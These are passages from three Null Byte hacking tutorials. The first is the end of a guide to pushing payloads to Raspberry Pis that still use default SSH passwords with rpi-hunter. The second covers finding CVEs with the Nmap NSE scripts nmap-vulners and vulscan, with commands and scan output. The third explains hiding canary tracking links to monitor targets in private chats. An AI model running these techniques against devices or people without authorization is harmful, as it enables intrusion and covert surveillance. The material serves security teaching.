is.~/rpi-hunter# python rpi-hunter.py -c toor --payload "sudo reboot"Now that you can modify both the password sent and customize your payload, rpi-hunter is ready to control any Pi or group of Pis remotely.Rpi-hunter Lets You Control Many Pis at OnceDevices with default credentials are easy to access, and rpi-hunter is a powerful and useful proof of concept to show how easy it is to take over large numbers of vulnerable devices at the same time. Make sure to change the default password on any device you're connecting to your network, and never expose devices with default credentials directly to the internet.If you're worried about someone else accessing your Raspberry Pi, disable SSH when you don't need it, and consider using a key file rather than a simple passphrase to secure SSH access on your device.I hope you enjoyed this guide to finding and pushing payloads to Raspberry Pis over a network with rpi-hunter! If you have any questions about this tutorial on remotely accessing Raspberry Pis, leave a comment below, and feel free to reach me on Twitter@KodyKinzie.Don't Miss:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Kody/Null ByteRelatedHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Do the Hunter & Alchemist Specials in Prince of PersiaHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Build a Pumpkin Pi β€” The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Draw Gemma Arterton of Hansel and Gretel Witch HuntersHow To:Break into Router Gateways with PatatorHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Automate Brute-Force Attacks for Nmap ScansHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Steal Form Data from Your Fake WebsiteHow To:Earn Three Achievements in Cabela's Big Game Hunter 2012How To:Cure Vampirism in SkyrimGHOST PHISHER:Security Auditing ToolForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:Earn the "Chasing the Game" and "The Take" Achievements in Dragon Age II: Mark of the Assassin DLCNews:Zero Punctuation Review of Monster Hunter TriHow To:Get the 'Master Fortune Hunter' Trophy in Uncharted 3: Drake's DeceptionNews:The Coach's Corner/Pre-PubertyCaptain Kronos:Vampire Hunter
How to Easily Detect CVEs with Nmap Scripts Β« Null Byte :: WonderHowTo
Nmapis possibly the most widely used security scanner of its kind, in part because of its appearances in films such asThe Matrix ReloadedandLive Free or Die Hard. Still, most of Nmap's best features are under-appreciated by hackers and pentesters, one of which will improve one's abilities to quickly identify exploits and vulnerabilities when scanning servers.As of this article's writing, Nmap is over 21 years old. Some of you reading this article right now might not be as old as Nmap. This is a testament to Nmap's usefulness over the last two decades. While there are several worthy port scanner alternatives, Nmap is still as useful a security tool as it was in 1997.One lesser-known part of Nmap isNSE, theNmapScriptingEngine, one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Nmap has acomprehensive collection of NSE scriptsbuilt in, which users can easily utilize, but users can also create custom scripts to meet their individual needs with NSE.Don't Miss:Using the Nmap Scripting Engine (NSE) for ReconnaissanceUsing NSE Scripts to Find More Vulnerabilities FasterHere, I'll be demonstrating two similar premade NSE scripts at once,nmap-vulnersandvulscan. Both scripts were designed to enhance Nmap's version detection by producing relevant CVE information for a particular service such as SSH, RDP, SMB, and more. CVE, orCommon Vulnerabilities and Exposures, is a method used by security researchers and exploit databases to catalog and reference individual vulnerabilities.For example, theExploit Databaseis a popular database of publicly disclosed exploits. Exploit-DB uses CVEs to catalog individual exploits and vulnerabilities which are associated with a particular version of a service like "SSH v7.2." Below is a screenshot of a possible exploit on the Exploit-DB website ... notice the CVE number assigned to this particular SSH vulnerability.Both nmap-vulners and vulscan use CVE records to enhance Nmap's version detection. Nmap will identify the version information of a scanned service. The NSE scripts will take that information and produce known CVEs that can be used to exploit the service, which makes finding vulnerabilities much simpler.Below is an example of Nmap version detectionwithoutthe use of NSE scripts. Nmap discovered one SSH service on port 22 using version "OpenSSH 4.3."nmap -sV -p22 1##.##.###.#21 Starting Nmap 7.60 ( https://nmap.org ) Nmap scan report for 1##.##.###.#21 Host is up (0.58s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0)And here's an example of that very same server using the NSE scripts. We can see there's a much more informative output now.nmap --script nmap-vulners,vulscan --script-args vulscandb=scipvuldb.csv -sV -p22 1##.##.###.#21 Starting Nmap 7.60 ( https://nmap.org ) Nmap scan report for 1##.##.###.#21 Host is up (0.54s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:4.3: | CVE-2006-5051 9.3 https://vulners.com/cve/CVE-2006-5051 | CVE-2006-4924 7.8 https://vulners.com/cve/CVE-2006-4924 | CVE-2007-4752 7.5 https://vulners.com/cve/CVE-2007-4752 | CVE-2010-4478 7.5 https://vulners.com/cve/CVE-2010-4478 | CVE-2014-1692 7.5 https://vulners.com/cve/CVE-2014-1692 | CVE-2009-2904 6.9 https://vulners.com/cve/CVE-2009-2904 | CVE-2008-4109 5.0 https://vulners.com/cve/CVE-2008-4109 | CVE-2007-2243 5.0 https://vulners.com/cve/CVE-2007-2243 | CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906 | CVE-2006-5052 5.0 https://vulners.com/cve/CVE-2006-5052 | CVE-2010-5107 5.0 https://vulners.com/cve/CVE-2010-5107 | CVE-2010-4755 4.0 https://vulners.com/cve/CVE-2010-4755 | CVE-2012-0814 3.5 https://vulners.com/cve/CVE-2012-0814 | CVE-2011-5000 3.5 https://vulners.com/cve/CVE-2011-5000 | CVE-2011-4327 2.1 https://vulners.com/cve/CVE-2011-4327 |_ CVE-2008-3259 1.2 https://vulners.com/cve/CVE-2008-3259 | vulscan: scipvuldb.csv: | [44077] OpenBSD OpenSSH up to 4.3 Signal denial of service | [39331] OpenBSD 4.3p2 Audit Log linux_audit_record_event unknown vulnerability | [32512] OpenBSD OpenSSH up to 4.3 unknown vulnerability | [43307] OpenBSD 4.0 unknown vulnerability | [41835] OpenBSD up to 4.8 unknown vulnerability | [38743] OpenBSD up to 4.6 unknown vulnerability | [36382] OpenBSD OpenSSH up to 4.6 information disclosure | [32699] OpenBSD OpenSSH 4.1 denial of service | [2667] OpenBSD OpenSSH 4.4 Separation Monitor Designfehler | [2578] OpenBSD OpenSSH up to 4.4 Singal race condition | [32532] OpenBSD OpenSSH 4.5 packet.c denial of service | [1999] OpenBSD OpenSSH up to 4.2pl scp system() Designfehler | [1724] OpenBSD OpenSSH 4.0 GSSAPIDelegateCredentials Designfehler | [1723] OpenBSD OpenSSH 4.0 Dynamic Port Forwarding Designfehler | [26219] OpenBSD OpenSSH up to 4.1 pl information disclosure | [16020] OpenBSD OpenSSH 4.5 Format StringThe nmap-vulners NSE script reported over a dozen CVEs disclosed in the last few years. The nmap-vulners CVEs are organized by severity, with "9.3" being the most severe, placed at the top of the list and therefore worth investigating. The vulscan NSE script (after all the CVEs) also reported over a dozen interesting vulnerabilities related to OpenSSH v4.3.Both of these NSE scripts do an excellent job of displaying useful information related to vulnerable services. Nmap-vulners queries theVulnersexploit database every time we use the NSE script. Vulscan, on the other hand, queries a local database on our computer which is preconfigured when we download vulscan for the first time.Now, there's a lot going on in the above screenshot, so let's first learn how to install these NSE scripts before we get into using them. The video below is useful if you learn better that way, otherwise, skip to my full guide beneath it.Step 1: Install Nmap-VulnersTo install the nmap-vulners script, we'll first usecdto change into the Nmap scripts directory.cd /usr/share/nmap/scripts/Then, clone the nmap-vulners GitHub repository by typing the below command into a terminal. That's it for installing nmap-vulners. There's absolutely no configuration required after installing it.git clone https://github.com/vulnersCom/nmap-vulners.git Cloning into 'nmap-vulners'... remote: Counting objects: 28, done. remote: Compressing objects: 100% (23/23), done. remote: Total 28 (delta 9), reused 19 (delta 4), pack-reused 0 Unpacking objects: 100% (28/28), done.Step 2: Install VulscanTo install vulscan, we'll also need to clone the GitHub repository into the Nmap scripts directory. Type the below command to do so.git clone https://github.com/scipag/vulscan.git Cloning into 'vulscan'... remote: Counting objects: 227, done. remote: Compressing objects: 100% (23/23), done. remote: Total 227 (delta 19), reused 22 (delta 9), pack-reused 194 Receiving objects: 100% (227/227), 15.87 MiB | 408.00 KiB/s, done. Resolving deltas: 100% (137/137), done.As mentioned previously, vulscan utilizes preconfigured databases that are stored locally on our computer. We can view these databases in the root of the vulscan directory. Run the belowlscommand to list the available databases.ls vulscan/*.csv vulscan/cve.csv vulscan/exploitdb.csv vulscan/openvas.csv vulscan/osvdb.csv vulscan/scipvuldb.csv vulscan/securityfocus.csv vulscan/securitytracker.csv vulscan/xforce.csvVulscan supports a numbered of excellent exploit databases:scipvuldb.csvcve.csvosvdb.csvsecurityfocus.csvsecuritytracker.csvxforce.csvexpliotdb.csvopenvas.csvTo ensure that the databases are fully up to date, we can use theupdateFiles.shscript found in thevulscan/utilities/updater/directory. Change into the updater directory by typing the below command into a terminal.cd vulscan/utilities/updater/Then, make sure the file has the proper permissions to execute on your computer with the belowchmodcommand.chmod +x updateFiles.shWe can then execute and run the script by entering the below command into our terminal../updateFiles.sh Downloading https://raw.githubusercontent.com/scipag/vulscan/master/cve.csv... Downloading https://raw.githubusercontent.com/scipag/vulscan/master/exploitdb.csv... Downloading https://raw.githubusercontent.com/scipag/vulscan/master/openvas.csv... Downloading https://raw.githubusercontent.com/scipag/vulscan/master/osvdb.csv... Downloading https://raw.githubusercontent.com/scipag/vulscan/master/scipvuldb.csv... Downloading https://raw.githubusercontent.com/scipag/vulscan/master/securityfocus.csv... Downloading https://raw.githubusercontent.com/scipag/vulscan/master/securitytracker.csv... Downloading https://raw.githubusercontent.com/scipag/vulscan/master/xforce.csv... Returning 0, as no files have been updated, but script ran successfullyWith that done, we're now ready to start using the NSE scripts.Step 3: Scan Using Nmap-VulnersUsing NSE scripts is simple. All we have to do is add the--scriptargument to our Nmap command and tell Nmap which NSE script to use. To use the nmap-vulners script, we would use the below command. Of course, change the # after-pto the port your scanning, and the following #s to the IP address you're using.nmap --script nmap-vulners -sV -p# ###.###.###.###The-sVis absolutely necessary. With-sV, we're telling Nmap to probe the target address for version information. If Nmap doesn't produce version information, nmap-vulners won't have any data to query the Vulners database. Always use-sVwhen using these NSE scripts.nmap --script nmap-vulners -sV -p80 1##.##.###.#24 Starting Nmap 7.60 ( https://nmap.org ) Nmap scan report for 1##.##.###.#24 Host is up (0.89s latency). PORT STATE SERVICE VERSION 22/tcp open http nginx 1.0.15 |_http-server-header: nginx/1.0.15 | vulners: | cpe:/a:igor_sysoev:nginx:1.0.15: | CVE-2013-4547 7.5 https://vulners.com/cve/CVE-2013-4547 |_ CVE-2013-0337 7.5 https://vulners.com/cve/CVE-2013-0337Step 4: Scan Using VulscanWe can use the vulscan NSE script in the same exact way as nmap-vulners:nmap --script vulscan -sV -p# ###.###.###.###By default, vulscan will query all of the previously mentioned databases at once! As we can see in the below code box, it's an overwhelming amount of information to digest. It's really more information than we need.nmap --script vulscan -sV -p22 1##.##.###.#77 Starting Nmap 7.60 ( https://nmap.org ) Nmap scan report for 1##.##.###.#77 Host is up (0.67s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | vulscan: scip VulDB - http://www.scip.ch/en/?vuldb: | [44077] OpenBSD OpenSSH up to 4.3 Signal denial of service | [39331] OpenBSD 4.3p2 Audit Log linux_audit_record_event unknown vulnerability | [32512] OpenBSD OpenSSH up to 4.3 unknown vulnerability | [43307] OpenBSD 4.0 unknown vulnerability | [41835] OpenBSD up to 4.8 unknown vulnerability | [38743] OpenBSD up to 4.6 unknown vulnerability | [36382] OpenBSD OpenSSH up to 4.6 information disclosure | [32699] OpenBSD OpenSSH 4.1 denial of service | [2667] OpenBSD OpenSSH 4.4 Separation Monitor Designfehler | [2578] OpenBSD OpenSSH up to 4.4 Singal race condition | [32532] OpenBSD OpenSSH 4.5 packet.c denial of service | [1999] OpenBSD OpenSSH up to 4.2pl scp system() Designfehler | [1724] OpenBSD OpenSSH 4.0 GSSAPIDelegateCredentials Designfehler | [1723] OpenBSD OpenSSH 4.0 Dynamic Port Forwarding Designfehler | [26219] OpenBSD OpenSSH up to 4.1 pl information disclosure | [16020] OpenBSD OpenSSH 4.5 Format String | | MITRE CVE - http://cve.mitre.org: | [CVE-2009-2904] A certain Red Hat modification to the ChrootDirectory feature in OpenSSH 4.8, as used in sshd in OpenSSH 4.3 in Red Hat Enterprise Linux (RHEL) 5.4 and Fedora 11, allows local users to gain privileges via hard links to setuid programs that use configuration files within the chroot directory, related to requirements for directory ownership. | [CVE-2008-4109] A certain Debian patch for OpenSSH before 4.3p2-9etch3 on etch | [CVE-2008-1483] OpenSSH 4.3p2, and probably other versions, allows local users to hijack forwarded X connections by causing ssh to set DISPLAY to :10, even when another process is listening on the associated port, as demonstrated by opening TCP port 6010 (IPv4) and sniffing a cookie sent by Emacs. | [CVE-2007-3102] Unspecified vulnerability in the linux_audit_record_event function in OpenSSH 4.3p2, as used on Fedora Core 6 and possibly other systems, allows remote attackers to write arbitrary characters to an audit log via a crafted username. NOTE: some of these details are obtained from third party information. | [CVE-2010-4755] The (1) remote_glob function in sftp-glob.c and the (2) process_put function in sftp.c in OpenSSH 5.8 and earlier, as used in FreeBSD 7.3 and 8.1, NetBSD 5.0.2, OpenBSD 4.7, and other products, allow remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in SSH_FXP_STAT requests to an sftp daemon, a different vulnerability than CVE-2010-2632. | [CVE-2008-3844] Certain Red Hat Enterprise Linux (RHEL) 4 and 5 packages for OpenSSH, as signed in August 2008 using a legitimate Red Hat GPG key, contain an externally introduced modification (Trojan Horse) that allows the package authors to have an unknown impact. NOTE: since the malicious packages were not distributed from any official Red Hat sources, the scope of this issue is restricted to users who may have obtained these packages through unofficial distribution points. As of 20080827, no unofficial distributions of this software are known.I highly recommend querying just one database at a time. We can achieve this by adding thevulscandbargument to our Nmap command and specifying a database as shown in the below examples.nmap --script vulscan --script-args vulscandb=database_name -sV -p# ###.###.###.### nmap --script vulscan --script-args vulscandb=scipvuldb.csv -sV -p# ###.###.###.### nmap --script vulscan --script-args vulscandb=exploitdb.csv -sV -p# ###.###.###.### nmap --script vulscan --script-args vulscandb=securitytracker.csv -sV -p# ###.###.###.###Here's an example of one of those in use:nmap --script vulscan --script-args vulscandb=exploitdb.csv -sV -p22 1##.##.###.#43 Starting Nmap 7.60 ( https://nmap.org ) Nmap scan report for 1##.##.###.#43 Host is up (0.52s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | vulscan: exploitdb.csv: | [2444] OpenSSH <= 4.3 pl (Duplicated Block) Remote Denital of Service Exploit | [21402] OpenSSH s.x/3.x Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability | [3303] Portable OpenSSH <= 3.6.1p-PAM / 4.1-SUSE Timing Attack Exploit | |_As lead architect ofVulDB, the vulscan developer usually finds time to update the scipvuldb.csv database file. Querying that database will probably produce the best results when using the vulscan NSE script.Step 5: Combine into One CommandNSE scripts significantly improve Nmap's versatility, range, and resourcefulness as a security scanner. To get the most out of Nmap's version scans, we can use both nmap-vulners and vulscan in one command. To go this, type the below command into your terminal.nmap --script nmap-vulners,vulscan --script-args vulscandb=scipvuldb.csv -sV -p# ###.###.###.###As an example, let's revisit what we first started with in this article:nmap --script nmap-vulners,vulscan --script-args vulscandb=scipvuldb.csv -sV -p22 1##.##.###.#21 Starting Nmap 7.60 ( https://nmap.org ) Nmap scan report for 1##.##.###.#21 Host is up (0.54s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:4.3: | CVE-2006-5051 9.3 https://vulners.com/cve/CVE-2006-5051 | CVE-2006-4924 7.8 https://vulners.com/cve/CVE-2006-4924 | CVE-2007-4752 7.5 https://vulners.com/cve/CVE-2007-4752 | CVE-2010-4478 7.5 https://vulners.com/cve/CVE-2010-4478 | CVE-2014-1692 7.5 https://vulners.com/cve/CVE-2014-1692 | CVE-2009-2904 6.9 https://vulners.com/cve/CVE-2009-2904 | CVE-2008-4109 5.0 https://vulners.com/cve/CVE-2008-4109 | CVE-2007-2243 5.0 https://vulners.com/cve/CVE-2007-2243 | CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906 | CVE-2006-5052 5.0 https://vulners.com/cve/CVE-2006-5052 | CVE-2010-5107 5.0 https://vulners.com/cve/CVE-2010-5107 | CVE-2010-4755 4.0 https://vulners.com/cve/CVE-2010-4755 | CVE-2012-0814 3.5 https://vulners.com/cve/CVE-2012-0814 | CVE-2011-5000 3.5 https://vulners.com/cve/CVE-2011-5000 | CVE-2011-4327 2.1 https://vulners.com/cve/CVE-2011-4327 |_ CVE-2008-3259 1.2 https://vulners.com/cve/CVE-2008-3259 | vulscan: scipvuldb.csv: | [44077] OpenBSD OpenSSH up to 4.3 Signal denial of service | [39331] OpenBSD 4.3p2 Audit Log linux_audit_record_event unknown vulnerability | [32512] OpenBSD OpenSSH up to 4.3 unknown vulnerability | [43307] OpenBSD 4.0 unknown vulnerability | [41835] OpenBSD up to 4.8 unknown vulnerability | [38743] OpenBSD up to 4.6 unknown vulnerability | [36382] OpenBSD OpenSSH up to 4.6 information disclosure | [32699] OpenBSD OpenSSH 4.1 denial of service | [2667] OpenBSD OpenSSH 4.4 Separation Monitor Designfehler | [2578] OpenBSD OpenSSH up to 4.4 Singal race condition | [32532] OpenBSD OpenSSH 4.5 packet.c denial of service | [1999] OpenBSD OpenSSH up to 4.2pl scp system() Designfehler | [1724] OpenBSD OpenSSH 4.0 GSSAPIDelegateCredentials Designfehler | [1723] OpenBSD OpenSSH 4.0 Dynamic Port Forwarding Designfehler | [26219] OpenBSD OpenSSH up to 4.1 pl information disclosure | [16020] OpenBSD OpenSSH 4.5 Format StringThat's about it for version scanning with Nmap NSE scripts. Until next time, follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:Advanced Nmap for ReconnaissanceFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaktsdesign/123RF(background); Screenshots by tokyoneon/Null ByteRelatedHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Advanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Get Started Writing Your Own NSE Scripts for NmapHow To:Identify Web Application Firewalls with Wafw00f & NmapHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Tactical Nmap for Beginner Network ReconnaissanceHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:Scripting for the Aspiring Hacker, Part 2 (Conditional Statements)Hacking macOS:How to Create an Undetectable PayloadHow To:Perform Network-Based Attacks with an SBC ImplantHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHow To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Dissecting Nmap:Part 1Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:Find & Exploit SUID Binaries with SUID3NUMHow To:Hack UnrealIRCd Using Python Socket ProgrammingHack Like a Pro:Advanced Nmap for ReconnaissanceHack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 2 (Building a Port Scanner)Zanti:NmapDon't Be a Script-Kiddie part2:Building an Auto-Exploiter Bash ScriptNews:Banks Around the World Hit with Repeated DDoS Attacks!How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:Use the Nmap security toolHow To:Screenplay Format Guide (PDF)How To:Script Writing Basics How to Structure a Film Script l
How to Track a Target Using Canary Token Tracking Links Β« Null Byte :: WonderHowTo
Canary tokens are customizable tracking links useful for learning about who is clicking on a link and where it's being shared. Thanks to the way many apps fetch a URL preview for links shared in private chats, canary tokens can even phone home when someone checks a private chat without clicking the link. Canary tokens come in several useful types and can be used even through URL shorteners.What Is a Canary Token?A canary token is a unique link designed to detect when someone clicks on it, shares it, or interacts with it in some way. You can think of it like a tripwire left by defenders to let them know when someone is poking around somewhere they shouldn't be on your network. Disguised as information attackers would be interested in accessing, the idea is to leave tokens on your network so that intruders send a flurry of notifications when they begin doing things they shouldn't.Don't Miss:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHoneypots, honeytokens, and other types of traps for attackers are not a new idea. Honeytokens use fake login credentials that are stored in an insecure file on the network, encouraging attackers to try to use them. A blue team watching for these fake credentials can then detect any time someone attempts to log in to a service on the network using them, alerting them that an attacker has gained access.Ahoneypotis a more elaborate way of trapping attackers, creating fake systems to attack while trying to learn as much as possible about the attacker. Honeypots will try to get an attacker to use whatever malware or tactics they use to exploit a system within a fake environment that poses no risk. By getting a hacker to do their worst against a fake network, defenders can learn more about who is behind an attack and what tools criminal hackers use.Canary tokens are designed to be so simple anyone can use them. Depending on how you deploy them, they can detect when someone clicks a link, opens an email, shares a file, or otherwise interacts with the tracking link.Skype & Slack User Tracking with Canary TokensOne unique property of Canary tokens is that your target doesn't need to click on the link in order to trigger the token. In an incidentreported by Bellingcat, a penetration tester discovered that his phishing server had been discovered after noticing a Skype server connecting to it. He learned that any time a link is shared in certain private messengers, a link preview is generated to show a thumbnail of the webpage. This means that a Skype server actually connects to the Canary token URL, giving us a result like the one below.In testing, I found thatSlackmessenger actually triggers an alert any time a member of the chat connects to the channel the Canary token is shared in. This means by sharing a link in a group chat of many different messengers, you can monitor when anyone new joins the chat, even if no one clicks on the link. While this is pretty exciting, the link generated for Canary tokens still does look a little suspicious.While Slack and Skype were some of the worst offenders, this trick works in several other types of instant messaging applications as well.Shortened URLsTo get around the fact that Canary tokens very obviously link back to a website full of information about what they are, it's best to hide the link as much as possible. One way of hiding URLs that is popular among hackers is to use URL shorteners likeGoo.gl(which is shutting down for good on March 30, 2019) orBit.ly. These services create a tunnel from a shortened URL to a much longer one, allowing users to more easily share long URLs.Don't Miss:Track Wi-Fi Devices & Connect to Them Using ProbequestWe can abuse these by using a URL shortener to create a less suspicious looking link to include in a Slack or Skype chat. If you own your own web domain, you can also have your web domain route to the Canary token URL, but for anyone who just wants to try this out, Bit.ly works fine. While testing, I was able to show that canary tokens hidden behind shortened URLs work almost exactly the same as posting the raw link.What You'll NeedCanary tokens can be used from any platform with a web browser, including Windows, macOS, and Linux. You'll need a web browsercapable of navigating to the Canary tokens websiteto generate a link, and then a device you want to track.If you want to test the ability to monitor when your Canary token is shared in a messenger vulnerable to generating URL previews, you can connect to another device through Slack, Skype,WhatsApp,Facebook Messenger, Wire, orApple iMessages.Finally, you'll need an email address to receive Canary token alerts. If you don't want to do this, you can still use the web interface, but don't lose the link or you won't be able to access results.Step 1: Create a Canary TokenOn the Canary token website, you can generate a Canary token by clicking on "Select your token" and choosing the type you want to create.The easiest type of link to generate is a "Web bug / URL token" which will trigger an alert whenever someone clicks on the link or shares it. This is designed to act as a website link, but there are several other options to choose from as well.A "DNS token" creates an alert whenever a URL is requested, regardless of whether or not the webpage is actually loaded. A "Custom Image Web bug" acts like an image that can be loaded as part of a webpage or email. By adding a web bug to a public website or email, you can tell when someone opens the email or webpage by watching for when the image is requested.The other available Canary tokens are files which report back when opened or browsed, available as Word documents, PDF files, or a Windows Folder form factor. For our first demonstration, click on the "Web bug / URL token."Next, supply the email address you want to receive the notifications from. You can also skip this and just configure it through the web interface, but if you lose the link, you'll have a very difficult time interacting with Canary tokens you create.Finally, click "Create my Canarytoken" to generate a link.Step 2: Click the LinkNow that we've created a Canary token, we can look at the management portal. Click on "Manage this token" in the top right corner, and you'll be directed to the page which lets you monitor and control the Canary token.Here, you can adjust settings to change whether you receive email alerts, as well as enable or disable a scanner that tries to learn more about the browser a visitor to the link is using. To see what it looks like when someone connects, we can click the link we generated,which is here.When we click the link, a blank looking web page appears. Even though it doesn't look like the page has loaded anything, we can right-click on the website and click "Inspect" to see scripts that have been loaded on the page. Here, we can see some JavaScript working to identify the device that is connecting to the page.Returning to the token management dashboard, we can see detailed information about the device that just accessed the link. Here, we can see my general location, information about my browser and machine, and even my internal IP address on the network.Step 3: Hide from the Bird with Chrome ExtensionsWhile this amount of information being displayed is alarming, there are some ways we can attempt to get around the way Canary tokens detect this information. For one, we can try changing our user agent witha Chrome extension, allowing us to pretend to be another kind of device. While this won't hide all of the details of our device, it can help make it harder to discover what kind of system we're using.In this example, I set my user agent to that of an iPod.While this hid the type of browser I'm using, the Canary token can still see my IP address and roughly where I am. To take things to the next level, we can try to hide from the Canary token by using a VPN. In this example, I used a VPN and Chrome extension to hide the system I'm using and my location more effectively. The Canary token thinks I'm a Yahoo web spider from HΓ€lsingborg, Sweden.While other information can still be leaked, there are tools available to hide from being accurately identified by a Canary token.Step 4: Use URL ShortenersAnother way of using a Canary token is to shorten it with a URL shortener. You can use services like Bit.ly or Goo.gl to hide the real URL, which in most cases doesn't change the way the link behaves when shared in a chat online. To do this, you can go tothe Google URL shortnerorBitlyto shorten the link. As mentioned before, the Google URL shortener service is shutting down on March 30, 2019.After adding your Canary token link to Bit.ly, you can use the shortened link the same way that you would use the original. Often, this shortened link will attract less suspicion than the super-long Canary token URL.Step 5: View the Behavior with MessengersAn interesting property of Canary tokens is that they can alert you to when someone checks a private chat. Each time someone logs in to a service like Slack, a URL preview is helpfully generated by Slack. This means that if you drop a Canary token in a Slack channel, you can get real-time updates whenever someone opens the chat, even if they don't click on the link.Don't Miss:How to Spy on Anyone's Smartphone ActivityThis behavior also often works through URL shorteners, allowing you to drop links that automatically report on anyone viewing them without looking as suspicious.In the management portal for the Canary token, you should see hits from Slack or Skype attempting to preview the URL if you posted it raw, or expanding the link if you posted a shortened version.You can find this behavior will work across Slack, Skype, WhatsApp, Facebook Messenger, Wire, or iMessage. While you'll get far more information about a target if they click on the link, even placing a link in a sensitive chat can still give you insight as to when someone has seen or is discussing the link.Step 6: Use Other Types of Canary TokensWhile we've explored the Web Bug Canary token, there are a number of other useful tokens we can try. To see how they work, let's try the PDF file token.Navigate to the Canary tokens website, and generate an "Adobe Reader PDF Document." Fill in your email address and a note to remind you what the token is for, and download the PDF file.There are several great recommendations for how to use this token included on the site, but in this case, we'll take a look at how the Canary token can bypass a user's choices to phone home.On a macOS system, opening the PDF file in Adobe yields the following warning. To play the part of the concerned target, I clicked "Block" to prevent the Canary token from detecting that I'd opened the PDF file.Don't Miss:Detect Bluetooth Low Energy Devices in Realtime with Blue HydraUnfortunately, it doesn't matter that I told Adobe to "block" the site, because it already connected! Adobe went ahead and pinged the Canary token server before it even sent us the alert, meaning it really didn't matter that we clicked "block." The attacker can still see that I've opened the document, in spite of my efforts to prevent it.There are a number of creative ways to use these tokens to detect user actions, this is only the start!Canary Tokens Make Tracking EasyIf you're looking to get creative using Canary tokens, there is no limit to the ways you can embed them to detect suspicious behavior. A popular suggestion is to cause a startup script to request the URL when a user logs in, notifying you each time a computer is accessed along with the IP address of the network it is connected to.While it's possible to hide from these tracking techniques, doing so can be difficult. This makes Canary tokens flexible, easy to deploy solutions for tracking with links. If this kind of tracking freaks you out, you should know that advertisers and other online companies routinely use these and even more sophisticated tactics to track customers.I hope you enjoyed this guide to creating and using tracking links! If you have any questions about this tutorial on Canary tokens or if you have a comment, feel free to ask it below or reach out to me on Twitter@KodyKinzie.Don't Miss:Track Down a Tinder Profile with Location Spoofing on Google ChromeFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's 